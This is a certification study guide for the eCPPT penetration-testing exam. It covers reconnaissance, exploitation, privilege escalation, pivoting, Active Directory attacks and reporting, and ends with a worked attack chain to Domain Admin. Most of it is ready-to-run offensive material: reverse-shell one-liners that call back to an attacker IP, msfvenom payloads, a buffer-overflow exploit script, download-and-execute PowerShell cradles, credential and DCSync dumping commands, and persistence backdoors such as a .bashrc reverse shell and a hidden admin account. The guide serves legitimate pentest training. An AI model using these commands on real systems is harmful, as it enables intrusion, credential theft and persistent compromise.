eCPPT Exam - Guided By RedBlock
eCPPT - Certified Professional Penetration Tester
eCPPT Field Guide (Complete Edition) — Certified Professional Penetration Tester (INE / eLearnSecurity)
A large, command-complete methodology reference for the eCPPT exam: engagement methodology → information gathering → scanning/enumeration → exploitation (incl. the Windows buffer-overflow track) → post-exploitation & privilege escalation → pivoting & tunneling (eCPPT's signature) → web application testing → PowerShell → Active Directory → password cracking → the professional report, and a full worked engagement (attack chain) tying it all together.
Per-topic format: concept → commands (documented) → example → notes/gotchas. Exam reality: eCPPT is a multi-day hands-on engagement graded on a full professional report. You win on methodology, chaining, pivoting, and clear documentation — screenshot and note every step as you go. ⚠️ Authorized use only. Everything targets lab machines / engagements you're permitted to test. Stay in scope; retain evidence.
Table of Contents
Engagement Methodology & Documentation
Information Gathering (OSINT & footprinting)
Scanning & Host Discovery
Service Enumeration (deep, per-service)
Vulnerability Assessment
System Security & the Buffer-Overflow Track
Exploitation (Metasploit & manual)
Payloads with msfvenom
Shells & Shell Upgrading
Post-Exploitation — Linux Privilege Escalation
Post-Exploitation — Windows Privilege Escalation
Credential Harvesting & Meterpreter
Pivoting & Tunneling (the eCPPT signature)
Web Application Security
PowerShell for Pentesters
Active Directory Attacks
Password Attacks & Cracking
Persistence
Reporting (the deliverable)
Worked Engagement — Full Attack Chain (double pivot to Domain Admin)
Tooling Quick Reference & Glossary
1. Engagement Methodology & Documentation
Phased methodology (PTES): Pre-engagement/scoping → Information gathering → Threat modeling/vuln analysis → Exploitation → Post-exploitation (privesc, loot, pivot, persistence) → Reporting.
Documentation discipline (eCPPT-critical): maintain a running notebook and a screenshots folder. Log for every host: IP, ports/services + versions, findings, the exact command/payload used, evidence, outcome, and what it reaches (pivot).
HOST 10.10.10.5
Ports/Services : 22 ssh(OpenSSH 8.2), 80 http(Apache 2.4.49), 445 smb
Findings : CVE-2021-41773 path traversal -> RCE
Exploit used : <command / module / payload>
Creds found : bob:Summer2024! | NTLM: aad3b...:31d6c...
Pivot : dual-homed -> reaches 172.16.5.0/24
Evidence : screenshots/10.10.10.5-*.png
Golden rule: you can't re-pop a box after the exam clock stops — capture evidence as you go.
2. Information Gathering
Passive (no direct contact):
whois target.com
dig target.com ANY +noall +answer
dig axfr @ns1.target.com target.com # zone transfer (jackpot if it works)
host -t mx target.com; host -t ns target.com; host -t txt target.com
subfinder -d target.com -all; amass enum -passive -d target.com
theHarvester -d target.com -b all # emails, hosts, employees
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u # cert transparency subdomains
# Google dorks: site:target.com filetype:pdf | intitle:"index of" | inurl:admin
Active (touches target):
dnsrecon -d target.com -t std; dnsenum target.com
curl -sI http://target.com # headers / server banner
whatweb http://target.com; wafw00f http://target.com # tech stack / WAF
Notes: always attempt AXFR — a working zone transfer maps the whole environment. crt.sh + subfinder together give strong subdomain coverage.
3. Scanning & Host Discovery
# host discovery
nmap -sn 10.10.10.0/24 -oN hosts.txt # ping sweep (live hosts)
fping -a -g 10.10.10.0/24 2>/dev/null
# full TCP port sweep first, fast
nmap -p- --min-rate 2000 -T4 10.10.10.5 -oN allports.txt
masscan -p1-65535 10.10.10.5 --rate 10000 -oL masscan.txt
rustscan -a 10.10.10.5 -- -sC -sV # fast -> pipes into nmap
# targeted service/version + default scripts on the OPEN ports only
nmap -sC -sV -p 22,80,445,3389 10.10.10.5 -oN services.txt
nmap -sV --script vuln -p <ports> 10.10.10.5 # NSE vuln scripts
nmap -sU --top-ports 100 10.10.10.5 -oN udp.txt # UDP (SNMP/DNS/TFTP/IKE)
nmap -O 10.10.10.5 # OS fingerprint
Flag docs: -p- all 65535 · -sC default scripts · -sV versions · -sU UDP · -Pn skip discovery · -O OS detect · -oN/-oG/-oX outputs · --min-rate pace. Notes: full-port first, then version-scan the open ports. Non-standard ports hide the win.
4. Service Enumeration (deep, per-service)
SMB (139/445):
enum4linux -a 10.10.10.5
enum4linux-ng -A 10.10.10.5
smbclient -L //10.10.10.5/ -N # null-session share listing
smbclient //10.10.10.5/share -N # connect to a share
smbmap -H 10.10.10.5 -u '' -p '' # share permissions
crackmapexec smb 10.10.10.5 -u '' -p '' # null auth / host info
crackmapexec smb 10.10.10.5 -u user -p pass --shares --users --pass-pol
nmap --script "smb-vuln-*" -p445 10.10.10.5 # MS17-010 etc.
rpcclient -U '' -N 10.10.10.5 # then: enumdomusers, querydispinfo
SNMP (161/udp):
snmpwalk -v2c -c public 10.10.10.5
snmpwalk -v2c -c public 10.10.10.5 1.3.6.1.4.1.77.1.2.25 # user accounts OID
onesixtyone -c community.txt 10.10.10.5
snmp-check 10.10.10.5 -c public
HTTP/HTTPS (80/443/8080):
gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
ffuf -u http://10.10.10.5/FUZZ -w wordlist.txt -mc 200,301,302,403
feroxbuster -u http://10.10.10.5 -x php,txt
gobuster vhost -u http://10.10.10.5 -w subdomains.txt
nikto -h http://10.10.10.5
curl -s http://10.10.10.5/robots.txt
FTP (21):
ftp 10.10.10.5 # try anonymous:anonymous
nmap --script ftp-anon,ftp-vsftpd-backdoor -p21 10.10.10.5
SMTP (25):
nmap --script smtp-enum-users,smtp-commands -p25 10.10.10.5
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.5
Databases:
mysql -h 10.10.10.5 -u root -p # try blanks/weak creds
redis-cli -h 10.10.10.5 # often no auth; INFO, KEYS *
nmap --script ms-sql-info,ms-sql-empty-password -p1433 10.10.10.5
RDP / WinRM / LDAP / NFS:
nmap --script rdp-ntlm-info -p3389 10.10.10.5
crackmapexec winrm 10.10.10.5 -u user -p pass # 5985
ldapsearch -x -H ldap://10.10.10.5 -s base namingcontexts
ldapsearch -x -H ldap://10.10.10.5 -b "dc=dom,dc=local"
showmount -e 10.10.10.5 # NFS exports -> mount and read
Notes: eCPPT is won in enumeration — the flaw is usually a banner/version, an open share, a weak SNMP community, anonymous FTP, a hidden web dir, or an unauthenticated DB/Redis.
5. Vulnerability Assessment
searchsploit "Apache 2.4.49" # local exploit-db
searchsploit -m 50383 # copy a PoC locally
searchsploit -x 50383 # view it
nmap --script vuln <host>
nikto -h http://10.10.10.5
Map service+version → CVE; prioritize reliable public exploits; verify manually before claiming a finding.
6. System Security & the Buffer-Overflow Track
Classic Windows stack buffer overflow vs a lab-vulnerable app: fuzz → offset → EIP control → bad chars → JMP ESP → shellcode.
1. Fuzz for the crash length:
import socket
buf = b"A" * 100
while len(buf) < 3000:
try:
s = socket.socket(); s.connect(("10.10.10.5", 9999))
s.send(b"OVERFLOW1 " + buf + b"\r\n"); s.close()
except: print("crashed at", len(buf)); break
buf += b"A" * 100
2. Exact EIP offset:
msf-pattern_create -l 3000 # send it, read EIP in the debugger
msf-pattern_offset -l 3000 -q <EIP-value> # -> offset (e.g. 2003)
3. Confirm EIP control: "A"*offset + "B"*4 + "C"*(len-offset-4) → EIP == 42424242. 4. Bad characters: send \x01..\xff, diff memory in the debugger, drop any byte that mangles the buffer (\x00 almost always bad). 5. Find a JMP ESP (mona in Immunity):
!mona modules # pick a module: no ASLR/DEP/Rebase
!mona find -s "\xff\xe4" -m <module.dll> # JMP ESP address
6. Shellcode (exclude bad chars) + final exploit:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 \
-f python -b "\x00\x0a\x0d" EXITFUNC=thread -v shellcode
offset = 2003
eip = b"\xaf\x11\x50\x62" # JMP ESP, little-endian
nops = b"\x90" * 16
payload = b"A"*offset + eip + nops + shellcode
# send payload; catch with: nc -lvnp 443
Notes: little-endian addresses; NOP sled before shellcode; EXITFUNC=thread keeps the process alive; understand each step — the exam wants reasoning, not paste.
7. Exploitation (Metasploit & manual)
Metasploit:
msfconsole -q
search type:exploit apache 2.4.49
use exploit/multi/http/apache_normalize_path_rce
set RHOSTS 10.10.10.5; set LHOST 10.10.14.2; set LPORT 443
set payload linux/x64/meterpreter/reverse_tcp
show options; check; exploit
# generic handler for msfvenom payloads:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.2; set LPORT 443; run
sessions -l; sessions -i 1
Manual: pull a searchsploit PoC, edit RHOST/LHOST/LPORT/offsets, run, catch with netcat. Prefer manual when MSF is disallowed or unreliable.
8. Payloads with msfvenom
# Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=443 -f elf -o met.elf
# Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=443 -f exe -o s.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f exe -o rev.exe
# Web
msfvenom -p php/reverse_php LHOST=10.10.14.2 LPORT=443 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f raw -o shell.jsp
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f asp -o shell.asp
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.2 LPORT=443 -f raw
# BOF raw shellcode (bad chars excluded)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f c -b "\x00\x0a\x0d"
Flags: -p payload · -f format · -o out · -b bad chars · -e encoder (x86/shikata_ga_nai) · -i iterations · LHOST/LPORT callback.
9. Shells & Shell Upgrading
Reverse-shell one-liners (catch with nc -lvnp 443):
bash -i >& /dev/tcp/10.10.14.2/443 0>&1
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.2",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
nc -e /bin/sh 10.10.14.2 443
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 443 >/tmp/f
# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.2',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$s.Write(([Text.Encoding]::ASCII).GetBytes($sb2),0,$sb2.Length);$s.Flush()}"
Upgrade dumb shell → full PTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm; export SHELL=/bin/bash
# Ctrl+Z -> stty raw -echo; fg -> Enter (now arrows/tab/Ctrl-C work)
File transfer:
python3 -m http.server 80 # serve from attacker
# on victim:
wget http://10.10.14.2/linpeas.sh -O /tmp/l.sh; curl -O http://10.10.14.2/f
certutil -urlcache -f http://10.10.14.2/nc.exe nc.exe # Windows
powershell iwr http://10.10.14.2/s.exe -OutFile s.exe
10. Post-Exploitation — Linux Privilege Escalation
# enumerate
id; sudo -l; uname -a; cat /etc/os-release; hostname
find / -perm -4000 -type f 2>/dev/null # SUID
getcap -r / 2>/dev/null # capabilities
cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timers
ss -tulpen; netstat -tulpen # local services (pivot hints)
ls -la /home/*; cat ~/.bash_history; env
./linpeas.sh -a
Common vectors + how to exploit:
sudo GTFOBins:
sudo -lshows an allowed binary → e.g.sudo find . -exec /bin/sh \;.SUID GTFOBins:
find / -perm -4000→ e.g./usr/bin/find . -exec /bin/sh -p \;.Capabilities:
cap_setuidon python →python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'.Writable cron / PATH: append a payload to a root-run script; or hijack a relative binary in PATH.
Writable /etc/passwd: add a UID-0 user (
openssl passwd).Kernel exploit: match
uname -r(Dirty COW / Dirty Pipe) — last resort.Password reuse / creds in configs:
grep -rIl password /var/www /home /opt.
11. Post-Exploitation — Windows Privilege Escalation
# enumerate
whoami /priv; whoami /groups; systeminfo
net user; net localgroup administrators; net user <me>
ipconfig /all; route print; arp -a # network / pivot hints
netstat -ano
.\winPEASx64.exe; powershell -ep bypass; . .\PowerUp.ps1; Invoke-AllChecks
.\SharpUp.exe audit
Common vectors:
SeImpersonatePrivilege (service accounts): PrintSpoofer / Potato family → SYSTEM.
PrintSpoofer.exe -i -c cmdUnquoted service path with a writable directory → drop a malicious binary.
Weak service permissions (
sc qc <svc>,accesschk) → reconfigurebinPath.AlwaysInstallElevated (both HKLM+HKCU set) →
msiexeca malicious MSI.Stored credentials:
cmdkey /list,runas /savecred, unattend.xml, registry AutoLogon.Token abuse / kernel exploit: cross
systeminfoagainst Windows-Exploit-Suggester.
sc qc <service> & accesschk.exe -uwcqv "Everyone" <service>
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
12. Credential Harvesting & Meterpreter
# Meterpreter core
sysinfo; getuid; getprivs; ps; migrate <pid>; getsystem
hashdump # local SAM hashes
load kiwi; creds_all; lsa_dump_sam; lsa_dump_secrets
upload /path file ; download file ; shell ; background
run post/multi/recon/local_exploit_suggester
run post/windows/gather/enum_logged_on_users
portfwd add -l 3389 -p 3389 -r <internal-ip> # (see pivoting)
# Linux creds
cat /etc/shadow /etc/passwd; unshadow passwd shadow > u.txt
grep -rIl 'password\|PRIVATE KEY' /var/www /home /opt 2>/dev/null
# Windows creds via impacket (with admin/hash)
secretsdump.py DOM/admin:[email protected]
13. Pivoting & Tunneling (the eCPPT signature)
You own a dual-homed host that can see an internal subnet you can't. Route your tooling through it.
Step 0 — discover the second network from the foothold:
ip a; ip route; arp -a # Linux
ipconfig /all; route print; arp -a # Windows
Meterpreter autoroute + SOCKS (pivot the whole toolkit):
run autoroute -s 172.16.5.0/24 # add route via this session
# (or) use post/multi/manage/autoroute; set SESSION 1; set SUBNET 172.16.5.0; run
use auxiliary/server/socks_proxy; set VERSION 5; set SRVPORT 1080; run
# /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -p 445,3389,80 172.16.5.10
proxychains crackmapexec smb 172.16.5.10 -u user -p pass
proxychains xfreerdp /v:172.16.5.10 /u:admin /p:pass
Meterpreter port-forward (single port, no proxychains):
portfwd add -l 3389 -p 3389 -r 172.16.5.10 # attacker:3389 -> internal RDP
portfwd add -l 8080 -p 80 -r 172.16.5.10 # then browse http://127.0.0.1:8080
SSH tunnels:
ssh -L 8080:172.16.5.10:80 user@pivot # local forward (attacker:8080 -> internal:80)
ssh -R 4444:127.0.0.1:4444 user@pivot # remote forward (internal callback -> you)
ssh -D 1080 user@pivot # dynamic SOCKS -> proxychains
sshuttle -r user@pivot 172.16.5.0/24 # "VPN-like" transparent routing
Chisel (no SSH available):
# attacker:
./chisel server -p 8000 --reverse
# victim/pivot:
./chisel client 10.10.14.2:8000 R:socks # reverse SOCKS back to attacker:1080
Notes: double pivot = repeat the trick from the second host to reach a third network (chain SOCKS through the first tunnel, or run a second chisel client). This is exactly what eCPPT tests.
14. Web Application Security
Use Burp Suite as the intercepting proxy for everything.
SQL injection:
sqlmap -u "http://site/item?id=1" --batch --dbs
sqlmap -u "http://site/item?id=1" -D appdb -T users --dump
sqlmap -r request.txt --batch --level 5 --risk 3 # from a saved Burp request
# manual: ' OR '1'='1-- - | ' UNION SELECT null,version(),database()-- - | ' AND SLEEP(5)-- -
XSS: <script>alert(1)</script>, "><img src=x onerror=alert(document.cookie)>; escalate to session theft where impactful. LFI / RFI → RCE:
?file=../../../../etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php # read source
?file=data://text/plain;base64,<b64 php> # data wrapper RCE
?file=http://10.10.14.2/shell.txt # RFI (if allow_url_include)
# log poisoning: inject PHP into User-Agent -> include /var/log/apache2/access.log
Command injection: ; id, | whoami, $(id), id; blind → ; sleep 5 / OOB DNS. File upload → shell: double extension (shell.php.jpg), null byte, magic bytes, Content-Type bypass; upload web shell → trigger reverse shell. Others: IDOR, auth bypass (admin'-- -), SSRF (→ internal/metadata), CSRF, XXE, deserialization. Reference: PayloadsAllTheThings. Notes: always convert a web flaw into a shell (upload/RCE/SSRF→internal), then pivot — eCPPT rewards web → system → network chaining.
15. PowerShell for Pentesters
powershell -ep bypass -nop
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.2/s.ps1') # in-memory load
IWR http://10.10.14.2/nc.exe -OutFile nc.exe
. .\PowerUp.ps1; Invoke-AllChecks # privesc checks
. .\PowerView.ps1 # AD recon (see §16)
Get-Content C:\path\file | Select-String password
Get-ChildItem -Recurse -Include *.config,*.txt | Select-String -Pattern 'password'
Notes: IEX runs code from memory (no disk write); PowerShell is the Windows post-ex Swiss-army knife for enum, privesc, and AD.
16. Active Directory Attacks
Enumerate:
# from Linux with creds
crackmapexec smb 10.10.10.0/24 -u user -p pass
crackmapexec smb 10.10.10.5 -u user -p pass --users --groups --shares
ldapdomaindump -u 'DOM\user' -p pass 10.10.10.5
bloodhound-python -u user -p pass -d dom.local -c all -ns 10.10.10.5
# from Windows
. .\PowerView.ps1
Get-NetUser | select samaccountname; Get-NetGroup "Domain Admins"
Get-NetComputer; Find-LocalAdminAccess; Get-NetSession -ComputerName <host>
Attack paths:
# Kerberoasting
GetUserSPNs.py dom.local/user:pass -dc-ip 10.10.10.5 -request
hashcat -m 13100 tgs.hash rockyou.txt
# AS-REP roasting (pre-auth disabled accounts)
GetNPUsers.py dom.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.5
hashcat -m 18200 asrep.hash rockyou.txt
# Pass-the-Hash lateral movement
crackmapexec smb 10.10.10.6 -u administrator -H <NTLM>
psexec.py -hashes :<NTLM> [email protected]
wmiexec.py DOM/[email protected] -hashes :<NTLM>
evil-winrm -i 10.10.10.6 -u administrator -H <NTLM>
# Token/ticket
ticketer.py / getST.py (Impacket) # forge/request tickets
# DCSync (with replication rights)
secretsdump.py dom.local/[email protected] -just-dc
secretsdump.py -just-dc-user krbtgt dom.local/[email protected]
Flow: enumerate (BloodHound) → find a path → roast/relay/PtH → lateral move → domain admin → DCSync the krbtgt/admin hashes. Core trio: Impacket + CrackMapExec + BloodHound.
17. Password Attacks & Cracking
# online brute
hydra -L users.txt -P rockyou.txt ssh://10.10.10.5
hydra -l admin -P rockyou.txt 10.10.10.5 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
crackmapexec smb 10.10.10.5 -u users.txt -p passwords.txt --continue-on-success
# identify then crack
hashid '<hash>'; hash-identifier
hashcat -m 0 md5.txt rockyou.txt # MD5
hashcat -m 1000 ntlm.txt rockyou.txt # NTLM
hashcat -m 1800 sha512.txt rockyou.txt # Linux $6$
hashcat -m 13100 kerb.txt rockyou.txt # Kerberoast TGS
hashcat -m 18200 asrep.txt rockyou.txt # AS-REP
hashcat -m 22000 wpa.hc22000 rockyou.txt # WPA
hashcat -m 1000 ntlm.txt -r /usr/share/hashcat/rules/best64.rule rockyou.txt
john --wordlist=rockyou.txt --format=NT ntlm.txt
18. Persistence
(as authorized during the engagement)
# Linux
echo 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1' >> ~/.bashrc # user
(crontab -l; echo "* * * * * /tmp/rev.sh") | crontab - # cron
echo 'ssh-key' >> ~/.ssh/authorized_keys # key
# Windows
schtasks /create /sc minute /mo 5 /tn upd /tr "C:\rev.exe" # scheduled task
reg add HKCU\...\Run /v x /d "C:\rev.exe" # run key
net user backdoor Pass123! /add & net localgroup administrators backdoor /add
Document persistence clearly and clean up at the end.
19. Reporting (the deliverable)
The exam is passed on the report. Structure:
1. Executive Summary — business-level: what, overall risk, key takeaways (non-technical)
2. Scope & Methodology — targets, timeframe, PTES approach
3. Findings — per finding: Title, Severity(CVSS), Asset, Description, Impact,
Evidence(screenshots), Steps to Reproduce, Remediation
4. Attack Narrative — chronological chain: recon -> foothold -> privesc -> pivot -> DA/goal
5. Remediation Summary — prioritized fix list
6. Appendices — raw output, tool versions, full host/port tables
Tips: severity-rank; every finding needs repro + evidence + fix; the attack narrative must show the chain (pivoting shines here); exec summary for management, findings for engineers; screenshot everything as you go.
20. Worked Engagement — Full Attack Chain (double pivot to Domain Admin)
Illustrative end-to-end run demonstrating the eCPPT methodology across three network segments. Lab/authorized only. Networks: you 10.10.14.2 → DMZ 10.10.10.0/24 → internal 172.16.5.0/24 → AD 172.16.5.0/24 DC.
Phase 1 — Recon & scan (DMZ web host 10.10.10.5).
nmap -p- --min-rate 2000 10.10.10.5 -oN all.txt # 22,80,445 open
nmap -sC -sV -p22,80,445 10.10.10.5 -oN svc.txt # Apache 2.4.49
gobuster dir -u http://10.10.10.5 -w common.txt -x php
Finding: Apache 2.4.49 → CVE-2021-41773 path traversal → RCE.
Phase 2 — Foothold (exploit → shell).
searchsploit -m 50383
python3 50383.py payloads/ 10.10.10.5 '/bin/sh' 'id' # confirm RCE as www-data
# reverse shell:
python3 50383.py payloads/ 10.10.10.5 '/bin/bash' 'bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"'
# catcher: nc -lvnp 443 -> upgrade to PTY (python pty; stty raw -echo; fg)
Evidence: screenshot of id = www-data. Note it.
Phase 3 — Local privesc on 10.10.10.5.
sudo -l # (root) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit # -> root (GTFOBins)
cat /root/.ssh/id_rsa; cat /etc/hosts # loot: key + internal names
ip a # SECOND NIC: 172.16.5.6/24 !
Finding: dual-homed root box; reaches 172.16.5.0/24. Loot a private key and note the pivot.
Phase 4 — Pivot #1 into the internal net.
# get a meterpreter on 10.10.10.5, then:
run autoroute -s 172.16.5.0/24
use auxiliary/server/socks_proxy; set VERSION 5; set SRVPORT 1080; run
# proxychains everything now:
proxychains nmap -sT -Pn -p88,135,139,389,445,3389,5985 172.16.5.10 # a Windows host + DC
proxychains crackmapexec smb 172.16.5.10 -u '' -p '' # host info -> domain DOM.LOCAL
Phase 5 — Internal foothold + creds.
# reuse looted creds / spray; SMB signing off -> try relay or PtH later
proxychains crackmapexec smb 172.16.5.10 -u bob -p 'Summer2024!' --shares
proxychains evil-winrm -i 172.16.5.10 -u bob -p 'Summer2024!' # WinRM shell
# on the box: winPEAS -> SeImpersonate -> PrintSpoofer -> SYSTEM
Result: local admin/SYSTEM on 172.16.5.10; dump local hashes with secretsdump.
Phase 6 — Domain enumeration (BloodHound over the pivot).
proxychains bloodhound-python -u bob -p 'Summer2024!' -d dom.local -c all -ns 172.16.5.2
# BloodHound path: bob -> (Kerberoastable svc) -> Domain Admins
proxychains GetUserSPNs.py dom.local/bob:'Summer2024!' -dc-ip 172.16.5.2 -request
hashcat -m 13100 tgs.hash rockyou.txt # crack -> svc_sql:P@ssw0rd!
Phase 7 — Privesc to Domain Admin + DCSync.
# svc_sql is (per BloodHound) in a group with DCSync-equivalent rights
proxychains secretsdump.py dom.local/svc_sql:'P@ssw0rd!'@172.16.5.2 -just-dc
# -> Administrator + krbtgt NTLM hashes
proxychains psexec.py -hashes :<admin-NTLM> [email protected] # SYSTEM on the DC
Phase 8 — (Optional) double pivot to a third segment.
# from 172.16.5.10, start a second SOCKS (chisel) to reach 192.168.50.0/24 behind it
# attacker: ./chisel server -p 8001 --reverse
# 172.16.5.10: ./chisel client 10.10.14.2:8001 R:socks (chained through pivot #1)
proxychains -f chain2.conf nmap -sT -Pn 192.168.50.20
Chain summary (each link a fixable finding): Apache 2.4.49 RCE → www-data → sudo find root → dual-homed pivot → SOCKS into 172.16.5.0/24 → bob creds + SeImpersonate SYSTEM → BloodHound path → Kerberoast svc_sql → DCSync → Domain Admin. The attack narrative in the report is exactly this chain, screenshot by screenshot — and the remediations (patch Apache, remove the sudo find NOPASSWD, segment the DMZ NIC, strong service-account password, tier the DA rights) each break a link.
21. Tooling Quick Reference & Glossary
Core toolset:
Recon/enum : nmap, masscan, rustscan, gobuster/ffuf/feroxbuster, enum4linux(-ng), smbmap/smbclient,
snmpwalk/onesixtyone, whatweb, nikto, crackmapexec, ldapsearch, rpcclient
Exploit : metasploit, searchsploit, msfvenom, burp suite, sqlmap
Post-ex : meterpreter, mimikatz/kiwi, linpeas/winpeas, PowerUp/SharpUp, GTFOBins, PrintSpoofer
Pivot : proxychains, chisel, ssh (-L/-R/-D), sshuttle, meterpreter autoroute/portfwd/socks_proxy
AD : impacket (GetUserSPNs/GetNPUsers/secretsdump/psexec/wmiexec), crackmapexec, bloodhound,
powerview, evil-winrm
Crack : hashcat, john, hydra, hashid
Serve/catch: python3 -m http.server 80 ; nc -lvnp 443
Glossary:
PTES — Penetration Testing Execution Standard (phase model).
Foothold / privesc — first shell / escalation to root/SYSTEM/admin.
Pivot / double pivot — routing through one (or two chained) compromised hosts to reach hidden networks.
SOCKS proxy — generic proxy (meterpreter/ssh/chisel) used with proxychains.
EIP / JMP ESP / bad chars — instruction pointer / trampoline to shellcode / payload-corrupting bytes (BOF).
PtH / Kerberoast / AS-REP / DCSync — core AD credential attacks.
Meterpreter — Metasploit's in-memory payload.
Attack narrative — the chained engagement story in the report (the graded centerpiece).
End of guide. All commands are for authorized labs/engagements only. eCPPT is graded on methodology, chaining (especially pivoting), and a clear professional report — document every step with evidence as you go, and let the attack narrative tell the chain.